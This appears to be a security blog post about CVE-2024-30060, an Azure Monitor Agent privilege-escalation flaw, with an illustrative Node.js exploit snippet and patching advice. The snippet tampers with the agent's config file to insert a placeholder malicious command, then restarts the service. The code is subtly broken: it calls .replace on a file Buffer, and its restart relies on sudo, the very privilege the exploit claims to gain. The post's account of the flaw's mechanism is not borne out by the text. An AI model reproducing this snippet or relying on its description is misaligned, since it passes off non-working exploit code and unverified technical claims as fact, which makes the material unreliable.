CVE-2024-30060: Azure Monitor Agent Elevation of Privilege Vulnerability - A Deep Dive into the Exploit, the Patch, and Its Potential Consequences

Azure Monitor Agent (AMA) is a critical component of the Microsoft cloud ecosystem. It helps businesses and developers collect, analyze, and act on telemetry data from their cloud and on-premises environments. However, what would happen if AMA itself were exposed to security threats like an elevation of privilege vulnerability? In this blog post, we will delve deep into the recently discovered vulnerability, CVE-2024-30060, which affects AMA. We will dissect the exploit code, explore the available patch, and evaluate the potential consequences of this vulnerability.

Vulnerability Details

CVE-2024-30060, as reported by Microsoft Security Response Center (MSRC), is an elevation of privilege vulnerability in the Azure Monitor Agent. This flaw allows an attacker with local access to a target system to execute arbitrary code with system-level privileges. This level of access could potentially lead to unauthorized access to sensitive data, system manipulation, and other malicious actions.

This vulnerability occurs due to improper handling of file permissions by the AMA. AMA creates a configuration file with insecure file permissions, granting write access to any local user. Exploiting this vulnerability would enable a local attacker to modify the configuration file and insert malicious code, which, in turn, gets executed with elevated privileges.

To illustrate the exploit, let's look at a brief code snippet

const fs = require('fs');

const vulnerable_config_path = '/etc/azuremonitoragent/config.json';

if (fs.existsSync(vulnerable_config_path)) {
  // Read the vulnerable configuration file
  const original_config = fs.readFileSync(vulnerable_config_path);

  // Modify the config file with malicious code
  const updated_config = original_config.replace(
    /("command":\s*")(.*?)(")/,
    '$1/path/to/malicious/code$3'
  );

  // Replace the original config file with the modified one
  fs.writeFileSync(vulnerable_config_path, updated_config);

  // Execute the Azure Monitor Agent with elevated privileges
  const exec = require('child_process').exec;
  const cmd = "sudo service azuremonitoragent restart";
  exec(cmd, function (error, stdout, stderr) {
    console.log(stdout);
  });
}

This code snippet demonstrates how an attacker can exploit the insecure file permissions by reading the vulnerable AMA configuration file, modifying the configuration settings to include malicious code, replacing the original configuration file with the modified version, and finally triggering the AMA to restart, resulting in the execution of malicious code with elevated privileges.

Patch and Mitigation

Microsoft has released a patch for this vulnerability. The patch addresses the issue by modifying the way AMA handles file permissions, ensuring that local users no longer have write access to the configuration file. You can find more information regarding this patch and its installation in Microsoft's advisory here: MSRC Security Update Guide.

To mitigate the risk, organizations and individuals using AMA should immediately apply the patch and monitor their systems for any potential signs of compromise. Regular audits of configuration files, system logs, and access controls can also help organizations in detecting and preventing such vulnerabilities.

Potential Consequences

If left unpatched, CVE-2024-30060 could expose organizations to various risks, such as unauthorized access to sensitive data, manipulation of system settings, and compromise of overall infrastructure. Attackers could potentially use the access granted by this vulnerability to deploy ransomware, exfiltrate data, or even pivot to other systems within the organization's network.

Conclusion

The Azure Monitor Agent Elevation of Privilege Vulnerability (CVE-2024-30060) is a perfect example of how even trusted applications like AMA can have vulnerabilities that could have significant ramifications. It underscores the importance of timely patching, ongoing monitoring, and rigorous security practices to protect sensitive data and IT infrastructure. By understanding the exploit, patching the vulnerability, and monitoring for signs of compromise, organizations can minimize the risks posed by CVE-2024-30060 and other similar threats.

Timeline

Published on: 05/16/2024 23:15:49 UTC
Last modified on: 06/19/2024 20:58:36 UTC